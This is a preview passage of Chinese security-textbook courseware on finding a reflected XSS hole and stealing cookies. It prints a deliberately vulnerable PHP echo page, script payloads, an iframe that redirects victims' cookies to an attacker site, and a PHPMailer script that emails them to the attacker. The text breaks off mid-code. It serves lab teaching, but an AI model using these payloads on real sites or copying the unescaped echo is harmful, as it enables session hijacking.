《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.1.3-7.1.4 發(fā)現(xiàn)XSS漏洞和跨站竊取cooie_第1頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.1.3-7.1.4 發(fā)現(xiàn)XSS漏洞和跨站竊取cooie_第2頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.1.3-7.1.4 發(fā)現(xiàn)XSS漏洞和跨站竊取cooie_第3頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.1.3-7.1.4 發(fā)現(xiàn)XSS漏洞和跨站竊取cooie_第4頁
《計算機網(wǎng)絡(luò)安全防護技術(shù)(第二版)》 課件 第7章 任務(wù)7.1.3-7.1.4 發(fā)現(xiàn)XSS漏洞和跨站竊取cooie_第5頁
已閱讀5頁,還剩17頁未讀 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

第7章Web安全技術(shù)編著:

秦?zé)鰟诖浣?/p>

任務(wù)7.1.3-7.1.4發(fā)現(xiàn)XSS漏洞和跨站竊取cookie任務(wù)7.1.3發(fā)現(xiàn)網(wǎng)站的XSS漏洞

被攻擊的網(wǎng)站有兩個網(wǎng)頁。網(wǎng)頁1讓用戶輸入自己的姓名,當(dāng)用戶點擊提交按鈕后,跳轉(zhuǎn)到網(wǎng)頁2;網(wǎng)頁2實現(xiàn)的功能是向用戶問好,在用戶瀏覽器上輸出“你好“,并回顯用顯用戶輸入的姓名。其中,網(wǎng)頁2存在漏洞,當(dāng)用戶輸入的不是自己的姓名,而是一條命令,網(wǎng)頁2也會把這條命令當(dāng)做用戶的姓名向用戶回顯,效果相當(dāng)于向用戶發(fā)送了這條命令,讓用戶執(zhí)行。

任務(wù)一:用戶把應(yīng)該輸入的姓名字符串用命令代替,命令作用是要求瀏覽器把網(wǎng)站分配給用戶的Cookie值顯示出來。上述命令如果能成功實現(xiàn),就證明了跨站攻擊XSS漏洞的存在,下一節(jié)將會實現(xiàn)將用戶在被攻擊網(wǎng)站的Cookie發(fā)送到攻擊者的郵箱。

一、在被攻擊網(wǎng)站上,新建以下兩個網(wǎng)頁01.htm和02.php。1.被攻擊網(wǎng)站的網(wǎng)頁1是靜態(tài)網(wǎng)頁,名字是01.htm,內(nèi)容如下:<formaction="02.php"method="get"><h3>請輸入您的姓名:</h3><inputtype="text"size=40name="aa"value="老秦"><br><inputtype="submit"value="輸入"></form>網(wǎng)頁的運行效果如圖7-1-23所示:圖7-1-23網(wǎng)站www.上網(wǎng)頁01.htm的顯示效果網(wǎng)頁01.htm第一行的<form>和第五行的</form>說明了夾在它們中間的三行是表單form的內(nèi)容;第一行的action="02.php"說明了,一旦用戶點擊提交按鈕就跳轉(zhuǎn)到另一個頁面02.php;第一行的method="get"說明了,當(dāng)發(fā)生頁面跳轉(zhuǎn)時,會用get的方式給第二個網(wǎng)頁傳遞參數(shù)。傳遞參數(shù)的方式主要有g(shù)et方式和post方式。其中,get方式傳遞的參數(shù)直接放在跳轉(zhuǎn)的網(wǎng)址后面,以“?”號開頭,跳轉(zhuǎn)地址和傳遞的參數(shù)都會在用戶瀏覽器的地址欄上顯示出來;而Post方式則是把要傳遞的參數(shù)放在傳遞的內(nèi)容主體里,不會在用戶瀏覽器的地址欄上顯示出來。第二行的作用是在當(dāng)前網(wǎng)頁的表單上顯示一句話“請輸入您的姓名:”。第三行的inputtype="text"的作用是在當(dāng)前網(wǎng)頁的表單上顯示一個供用戶輸入的文本框;name="aa"的說明了文本框被命名為aa,用作傳遞給下一個頁面的參數(shù)的變量名;第三行的value="老秦"的作用是給aa賦一個初始值“老秦”,并在用戶頁面的文本框中顯示出來,用戶可以更改其值,它將作為變量aa的值,傳遞給下一個頁面。第四行的inputtype="submit"的作用是在當(dāng)前網(wǎng)頁的表單上顯示一個提交按鈕;value="輸入"的作用是在當(dāng)前網(wǎng)頁表單的提交按鈕上顯示“輸入”兩個字。2.被攻擊網(wǎng)站的網(wǎng)頁2是動態(tài)網(wǎng)頁,名字是02.php,內(nèi)容如下:<?phpsession_start();?><body><h3>您好!<?phpecho$_GET['aa'];?></h3></body>在01.htm中點擊“輸入”按鈕后,頁面被提交給02.php,02.php的顯示效果如圖7-1-24所示。圖7-1-24網(wǎng)站www.上網(wǎng)頁02.php的顯示效果Php網(wǎng)頁02.php第一行的<?php和第三行的?>表示,夾在它們中間的第二行是一個php語句;第二行的session_start()的作用是,查看當(dāng)前網(wǎng)站是否給用戶發(fā)放了Cookie,如果還沒有,則產(chǎn)生一個Cookie值發(fā)放給當(dāng)前用戶,存放這個Cookie值的變量名字是PHPSESSID。第四行的<body>和第六行的</body>表示夾在它們中間的第五行是網(wǎng)頁的主體部分。第五行的<?php和?>說明了夾在它們中間的echo$_GET['aa'];是一個php語句,該語句的作用是顯示$_GET['aa']的值。$_GET是一個超全局變量,用來獲取從上一個網(wǎng)頁傳遞來的變量的值,這里的['aa'],表示傳遞的是上個頁面中aa的值,aa是在第一個頁面中,用戶在文本框中輸入的姓名,假如第一個頁面中用戶在文本框輸入的是老秦,則這個語句的作用就是在用戶的瀏覽器上顯示“您好!老秦”這幾個字。3.如果用戶在第一個網(wǎng)頁輸入的不是姓名,而是一條javascript語句命令:<script>alert(document.cookie)</script>命令的作用是要把在用戶在該網(wǎng)站的當(dāng)前Cookie顯示出來,如果用戶的瀏覽器按命令的要求,顯示用戶在該網(wǎng)站的當(dāng)前Cookie。就證明了網(wǎng)頁2存在跨站攻擊XSS漏洞。1)如圖7-1-25所示,攻擊者在虛擬機2上,訪問被攻擊網(wǎng)站的01.htm,在“姓名“欄輸入以上javascript語句:“<script>alert(document.cookie)</script>”。圖7-1-25網(wǎng)站www.上的網(wǎng)頁01.htm2)如圖7-1-26所示,結(jié)果是顯示用戶在該網(wǎng)站的當(dāng)前Cookie。證明了網(wǎng)頁02.php存在跨站攻擊XSS漏洞。圖7-1-26網(wǎng)站www.上的網(wǎng)頁02.php任務(wù)7.1.4跨站竊取用戶的Cookie

一、測試被攻擊網(wǎng)站的漏洞是否可跨站利用。

上一小節(jié)中,我們已經(jīng)得知被攻擊網(wǎng)站site1存在跨站腳本漏洞,下面我們先分析一下,攻擊者會怎樣利用這個漏洞,實現(xiàn)竊取用戶Cookie的目的。被攻擊網(wǎng)站的網(wǎng)頁02.php的漏洞在于:不對用戶輸入的姓名做任何檢查,就直接把用戶輸入的信息回顯到瀏覽器上。

攻擊者測試被攻擊網(wǎng)站的漏洞是否可跨站利用,方法如下:攻擊者把被攻擊網(wǎng)站有漏洞的網(wǎng)頁嵌入到自己的網(wǎng)頁中,當(dāng)有用戶訪問攻擊者的這個網(wǎng)頁時,就向被嵌入的被攻擊網(wǎng)站網(wǎng)頁傳遞一個普通的字符串例如姓名作為參數(shù)。若被攻擊網(wǎng)站把這個普通字符串回顯回來,就說明這個漏洞是可以跨站利用的。

被攻擊網(wǎng)站是,攻擊者網(wǎng)站是,攻擊者在自己的site2網(wǎng)站上新建了一個網(wǎng)頁01.htm,網(wǎng)頁內(nèi)容如下:<iframewidth=400height=200src="/02.php?aa=老秦"></iframe>

其中的iframe表示將在當(dāng)前頁面嵌入別的網(wǎng)頁,賦給src的值表示嵌入的網(wǎng)頁的網(wǎng)址,以及傳遞給這個網(wǎng)頁的參數(shù),這里,嵌入的網(wǎng)頁的網(wǎng)址/02.php,是被攻擊網(wǎng)站上有漏洞的網(wǎng)頁,傳入的參數(shù)是aa=老秦。

通過firefox瀏覽器訪問這個網(wǎng)頁進行驗證,可以看到回顯的內(nèi)容是“您好!老秦”,說明攻擊者傳遞普通字符串作為參數(shù)是可以實現(xiàn)跨站回顯的。二、獲取受害者訪問被攻擊網(wǎng)站的cookie。攻擊者接著想讓有漏洞的網(wǎng)站回傳受害用戶在被攻擊網(wǎng)站的Cookie,把網(wǎng)頁內(nèi)容修改為:<iframewidth=400height=200src="/02.php?aa=<script>alert(document.cookie)</script>"></iframe>改動的地方是傳入的參數(shù),由‘老秦’改成了<script>alert(document.cookie)</script>">,參數(shù)由代表姓名的字符串改成了一個javascript命令,從語法上看,這個語句可以分成幾行寫,也可以寫在同一行,不影響效果,命令的作用是在用戶瀏覽器上彈出顯示框,內(nèi)容是用戶在被攻擊網(wǎng)站的Cookie,如圖7-1-27所示,通過firefox瀏覽器訪問這個網(wǎng)頁進行驗證,回顯也是成功的。

雖然回顯是成功的,但Cookie的回顯只是顯示給了受害者自己,并沒有顯示給攻擊者,攻擊者還需要進一步想辦法讓用戶把Cookie發(fā)送給攻擊者本人。如果Cookie不是簡單的回顯給被攻擊者,而是傳遞給攻擊者網(wǎng)站上的另一個網(wǎng)頁,那么,攻擊者的網(wǎng)頁就可以處理這個Cookie了。因此攻擊者需要對site2上的網(wǎng)頁01.htm的內(nèi)容進行進一步的修改,將提交給被攻擊網(wǎng)站的參數(shù)改成“打開攻擊者的另一個網(wǎng)頁,同時把cookie傳給這個新網(wǎng)頁”的命令,并要新建一個php網(wǎng)頁02.php,用來接收受騙用戶發(fā)來的Cookie并做進一步的處理。圖7-1-27通過firefox瀏覽器訪問網(wǎng)頁進行驗證

為達到這樣的目的,攻擊者把站點上的01.htm修改為:<iframewidth=400height=200src="/02.php?aa=<script>window.location='/02.php?bb='%2Bdocument.cookie;</script>"></iframe>傳入被攻擊網(wǎng)站的參數(shù)變成了:aa=<script>window.location='/02.php?bb='%2Bdocument.cookie;</script>傳給aa的參數(shù)用<script>和</script>括起來了,表示里面的內(nèi)容是一個JavaScript語句。再來看看這個JavaScript語句的內(nèi)容,windows.location的意思是打開一個新的網(wǎng)頁,后面接的問號表示同時還要傳給這個網(wǎng)頁一個參數(shù),具體的內(nèi)容可以描述成:/02.php?bb=受害者在被攻擊網(wǎng)站的cookie由于JavaScript的語法要求,網(wǎng)址和參數(shù)組成的這個字符串要用單引號引起來,其中,受害者在被攻擊網(wǎng)站的cookie可以表示為document.cookie,它會根據(jù)受害者的不同而變化,作為可以變化的量,放到單引號里就不起作用了,所以document.cookie要放在單引號外面,前面部分要用單引號引起來,緊跟在它后面的cookie值不能用引號,它們中間用一個”+”號連接。寫出來就是:'/02.php?bb='+document.cookie;其中的“+”號放在地址欄一起使用時必須進行編碼,“+”號的編碼值是%2B。也就是說,連接符“+”號,要用%2B代替。寫在一起就是:'/02.php?bb='%2Bdocument.cookie三、cookie值傳入02.php后,將通過QQ郵件服務(wù)器發(fā)送給攻擊者的郵箱。受害者事先連接過被攻擊網(wǎng)站site1,獲得了site1的cookie。后來受害者又訪問攻擊者的站點site2,site2會竊取客戶在site1上的cookie,通過QQ郵箱發(fā)送給攻擊者。1.下載PHPMailer_v5.1,將PHPMailer_v5.1解壓得到的文件夾PHPMailer復(fù)制到網(wǎng)站site2的根目錄下。2.用瀏覽器打開2/phpinfo.php,查看OpenSSLsupport是否為enabled。如果沒有enabled,則需要打開php.ini文件,檢查extension=php_openssl.dll是否存在,如果存在就去掉它前面的注釋符‘;’,如果不存在,則添加一行extension=php_openssl.dll。然后重新啟動apache。3.登錄QQ郵箱,選擇“設(shè)置”-“賬戶”,找到“IMAP/SMTP服務(wù)”,選擇“開啟”;QQ郵件服務(wù)器會發(fā)送短信給用戶進行驗證,驗證通過后,獲得SMTP服務(wù)器的授權(quán)碼,將該授權(quán)碼復(fù)制下來,用于PHP編程發(fā)送郵件時登錄smtp的密碼。4.攻擊者站點site2上的02.php內(nèi)容如下:<?phpdate_default_timezone_set('UTC');require_once("PHPMailer/class.phpmailer.php");require_once("PHPMailer/class.smtp.php");//引入PHPMailer的核心文件$mail=newPHPMailer();//實例化PHPMailer核心類$mail->SMTPDebug=1;//啟用smtp的debug調(diào)試模式。測試結(jié)束后應(yīng)注釋掉。$mail->isSMTP();$mail->SMTPAuth=true;//使用smtp方式發(fā)送郵件$mail->Host='';//設(shè)置qq電子郵箱的SMTP服務(wù)器地址$mail->SMTPSecure='ssl';//設(shè)置使用ssl加密方式登錄$mail->Port=465;//設(shè)置ssl連接smtp服務(wù)器的遠程服務(wù)器端口號為465$mail->CharSet='UTF-8';//設(shè)置發(fā)送的郵件的編碼$mail->FromName='qinshen';//設(shè)置發(fā)件人昵稱$mail->Username='qinshenqinshen@';//設(shè)置smtp登錄賬號$mail->Password='QQ郵件服務(wù)器生成的授權(quán)碼';//設(shè)置smtp登錄的密碼,使用生成的授權(quán)碼$mail->From='qinshenqinshen@';//設(shè)置發(fā)件人郵箱地址與登錄賬號相同$mail->isHTML(true);//設(shè)置郵件正文為html編碼$mail->addAddress('qinshenqinshen@');//設(shè)置收件人郵箱地址$mail->Subject='hacked';//添加郵件的主題$mail->Body='site1:'.$_GET['bb'];//填寫郵件正文的內(nèi)容,郵件正文的內(nèi)容是文本‘site1:’和$_GET['bb']的值,超全局變量$_GET['bb']代表的是上一頁傳入的參數(shù)bb的值,即被攻擊者在被攻擊網(wǎng)站上的cookie

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論